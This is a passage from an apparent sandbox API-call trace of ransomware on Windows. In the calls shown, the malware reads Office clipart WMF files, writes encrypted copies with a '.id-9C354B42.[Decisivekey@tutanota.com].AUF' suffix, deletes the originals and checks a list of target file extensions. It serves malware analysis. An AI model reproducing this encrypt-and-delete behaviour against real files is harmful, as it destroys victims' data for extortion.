lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x0, lpOverlapped=0x0) returned 1 [0217.751] WriteFile (in: hFile=0x168, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0217.752] SetEndOfFile (hFile=0x168) returned 1 [0217.752] CloseHandle (hObject=0x168) returned 1 [0217.752] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0217.752] SetEndOfFile (hFile=0x1e8) returned 1 [0217.753] CloseHandle (hObject=0x1e8) returned 1 [0217.753] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0217.753] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00247_.wmf")) returned 1 [0217.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 63 [0217.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 63 [0217.753] lstrlenW (lpString=".doc") returned 4 [0217.753] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0217.753] lstrlenW (lpString=".docx") returned 5 [0217.753] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0217.753] lstrlenW (lpString=".pdf") returned 4 [0217.753] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0217.753] lstrlenW (lpString=".xls") returned 4 [0217.753] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0217.753] lstrlenW (lpString=".xlsx") returned 5 [0217.753] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0217.753] lstrlenW (lpString=".ppt") returned 4 [0217.753] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0217.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 63 [0217.753] lstrlenW (lpString=".zip") returned 4 [0217.753] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0217.753] lstrlenW (lpString=".rar") returned 4 [0217.753] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0217.753] lstrlenW (lpString=".bz2") returned 4 [0217.753] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0217.753] lstrlenW (lpString=".7z") returned 3 [0217.753] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0217.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 63 [0217.754] lstrlenW (lpString=".dbf") returned 4 [0217.754] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0217.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 63 [0217.754] lstrlenW (lpString=".1cd") returned 4 [0217.754] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0217.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 63 [0217.754] lstrlenW (lpString=".jpg") returned 4 [0217.754] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0217.754] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x23dff1c | out: lpFileSize=0x23dff1c*=4708) returned 1 [0217.754] CloseHandle (hObject=0x1e8) returned 1 [0217.754] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00252_.wmf")) returned 0x20 [0217.754] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00252_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0217.754] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00252_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0217.754] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0217.754] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0217.754] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00252_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0217.755] GetLastError () returned 0x0 [0217.755] ReadFile (in: hFile=0x1e8, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x1264, lpOverlapped=0x0) returned 1 [0217.763] WriteFile (in: hFile=0x168, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0x1270, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0x1270, lpOverlapped=0x0) returned 1 [0217.765] ReadFile (in: hFile=0x1e8, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x0, lpOverlapped=0x0) returned 1 [0217.766] WriteFile (in: hFile=0x168, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0217.766] SetEndOfFile (hFile=0x168) returned 1 [0217.766] CloseHandle (hObject=0x168) returned 1 [0217.766] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0217.766] SetEndOfFile (hFile=0x1e8) returned 1 [0217.767] CloseHandle (hObject=0x1e8) returned 1 [0217.767] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0217.767] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00252_.wmf")) returned 1 [0217.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 63 [0217.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 63 [0217.769] lstrlenW (lpString=".doc") returned 4 [0217.769] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0217.769] lstrlenW (lpString=".docx") returned 5 [0217.769] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0217.769] lstrlenW (lpString=".pdf") returned 4 [0217.769] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0217.769] lstrlenW (lpString=".xls") returned 4 [0217.769] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0217.769] lstrlenW (lpString=".xlsx") returned 5 [0217.769] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0217.769] lstrlenW (lpString=".ppt") returned 4 [0217.769] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0217.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 63 [0217.769] lstrlenW (lpString=".zip") returned 4 [0217.769] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0217.769] lstrlenW (lpString=".rar") returned 4 [0217.770] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0217.770] lstrlenW (lpString=".bz2") returned 4 [0217.770] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0217.770] lstrlenW (lpString=".7z") returned 3 [0217.770] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0217.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 63 [0217.770] lstrlenW (lpString=".dbf") returned 4 [0217.770] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0217.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 63 [0217.770] lstrlenW (lpString=".1cd") returned 4 [0217.770] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0217.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 63 [0217.770] lstrlenW (lpString=".jpg") returned 4 [0217.770] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0217.770] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x23dff1c | out: lpFileSize=0x23dff1c*=12482) returned 1 [0217.770] CloseHandle (hObject=0x1e8) returned 1 [0217.770] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00261_.wmf")) returned 0x20 [0217.770] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00261_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0217.770] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00261_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0217.770] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0217.771] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0217.771] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00261_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0217.771] GetLastError () returned 0x0 [0217.771] ReadFile (in: hFile=0x1e8, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x30c2, lpOverlapped=0x0) returned 1 [0217.781] WriteFile (in: hFile=0x168, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0x30d0, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0x30d0, lpOverlapped=0x0) returned 1 [0217.782] ReadFile (in: hFile=0x1e8, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x0, lpOverlapped=0x0) returned 1 [0217.782] WriteFile (in: hFile=0x168, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0217.782] SetEndOfFile (hFile=0x168) returned 1 [0217.782] CloseHandle (hObject=0x168) returned 1 [0217.782] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0217.782] SetEndOfFile (hFile=0x1e8) returned 1 [0217.783] CloseHandle (hObject=0x1e8) returned 1 [0217.783] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0217.783] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00261_.wmf")) returned 1 [0217.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 63 [0217.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 63 [0217.783] lstrlenW (lpString=".doc") returned 4 [0217.783] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0217.783] lstrlenW (lpString=".docx") returned 5 [0217.783] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0217.783] lstrlenW (lpString=".pdf") returned 4 [0217.783] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0217.783] lstrlenW (lpString=".xls") returned 4 [0217.783] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0217.784] lstrlenW (lpString=".xlsx") returned 5 [0217.784] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0217.784] lstrlenW (lpString=".ppt") returned 4 [0217.784] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0217.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 63 [0217.784] lstrlenW (lpString=".zip") returned 4 [0217.784] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0217.784] lstrlenW (lpString=".rar") returned 4 [0217.784] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0217.784] lstrlenW (lpString=".bz2") returned 4 [0217.784] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0217.784] lstrlenW (lpString=".7z") returned 3 [0217.784] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0217.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 63 [0217.784] lstrlenW (lpString=".dbf") returned 4 [0217.784] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0217.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 63 [0217.784] lstrlenW (lpString=".1cd") returned 4 [0217.784] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0217.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 63 [0217.784] lstrlenW (lpString=".jpg") returned 4 [0217.784] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0217.785] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x23dff1c | out: lpFileSize=0x23dff1c*=2556) returned 1 [0217.785] CloseHandle (hObject=0x1e8) returned 1 [0217.785] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00262_.wmf")) returned 0x20 [0217.785] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00262_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0217.785] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00262_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0217.785] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0217.785] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0217.785] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00262_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0217.786] GetLastError () returned 0x0 [0217.786] ReadFile (in: hFile=0x1e8, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x9fc, lpOverlapped=0x0) returned 1 [0217.787] WriteFile (in: hFile=0x168, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0xa00, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0xa00, lpOverlapped=0x0) returned 1 [0217.787] ReadFile (in: hFile=0x1e8, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x0, lpOverlapped=0x0) returned 1 [0217.787] WriteFile (in: hFile=0x168, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0217.787] SetEndOfFile (hFile=0x168) returned 1 [0217.787] CloseHandle (hObject=0x168) returned 1 [0217.788] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0217.788] SetEndOfFile (hFile=0x1e8) returned 1 [0217.788] CloseHandle (hObject=0x1e8) returned 1 [0217.788] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0217.788] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00262_.wmf")) returned 1 [0217.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 63 [0217.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 63 [0217.789] lstrlenW (lpString=".doc") returned 4 [0217.789] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0217.789] lstrlenW (lpString=".docx") returned 5 [0217.789] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0217.789] lstrlenW (lpString=".pdf") returned 4 [0217.789] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0217.789] lstrlenW (lpString=".xls") returned 4 [0217.789] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0217.789] lstrlenW (lpString=".xlsx") returned 5 [0217.789] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0217.789] lstrlenW (lpString=".ppt") returned 4 [0217.789] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0217.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 63 [0217.789] lstrlenW (lpString=".zip") returned 4 [0217.789] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0217.789] lstrlenW (lpString=".rar") returned 4 [0217.789] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0217.789] lstrlenW (lpString=".bz2") returned 4 [0217.789] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0217.789] lstrlenW (lpString=".7z") returned 3 [0217.789] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0217.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 63 [0217.789] lstrlenW (lpString=".dbf") returned 4 [0217.789] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0217.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 63 [0217.789] lstrlenW (lpString=".1cd") returned 4 [0217.789] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0217.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 63 [0217.789] lstrlenW (lpString=".jpg") returned 4 [0217.789] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0217.790] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x23dff1c | out: lpFileSize=0x23dff1c*=5752) returned 1 [0217.790] CloseHandle (hObject=0x1e8) returned 1 [0217.790] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00265_.wmf")) returned 0x20 [0217.790] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00265_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0217.790] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00265_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0217.790] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0217.790] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0217.790] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00265_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0217.791] GetLastError () returned 0x0 [0217.791] ReadFile (in: hFile=0x1e8, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x1678, lpOverlapped=0x0) returned 1 [0217.801] WriteFile (in: hFile=0x168, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0x1680, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0x1680, lpOverlapped=0x0) returned 1 [0217.802] ReadFile (in: hFile=0x1e8, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x0, lpOverlapped=0x0) returned 1 [0217.802] WriteFile (in: hFile=0x168, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0217.802] SetEndOfFile (hFile=0x168) returned 1 [0217.802] CloseHandle (hObject=0x168) returned 1 [0217.802] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0217.802] SetEndOfFile (hFile=0x1e8) returned 1 [0217.803] CloseHandle (hObject=0x1e8) returned 1 [0217.803] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0217.803] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00265_.wmf")) returned 1 [0217.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 63 [0217.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 63 [0217.803] lstrlenW (lpString=".doc") returned 4 [0217.803] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0217.803] lstrlenW (lpString=".docx") returned 5 [0217.803] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0217.803] lstrlenW (lpString=".pdf") returned 4 [0217.803] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0217.803] lstrlenW (lpString=".xls") returned 4 [0217.803] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0217.803] lstrlenW (lpString=".xlsx") returned 5 [0217.803] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0217.803] lstrlenW (lpString=".ppt") returned 4 [0217.804] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0217.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 63 [0217.804] lstrlenW (lpString=".zip") returned 4 [0217.804] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0217.804] lstrlenW (lpString=".rar") returned 4 [0217.804] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0217.804] lstrlenW (lpString=".bz2") returned 4 [0217.804] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0217.804] lstrlenW (lpString=".7z") returned 3 [0217.804] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0217.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 63 [0217.804] lstrlenW 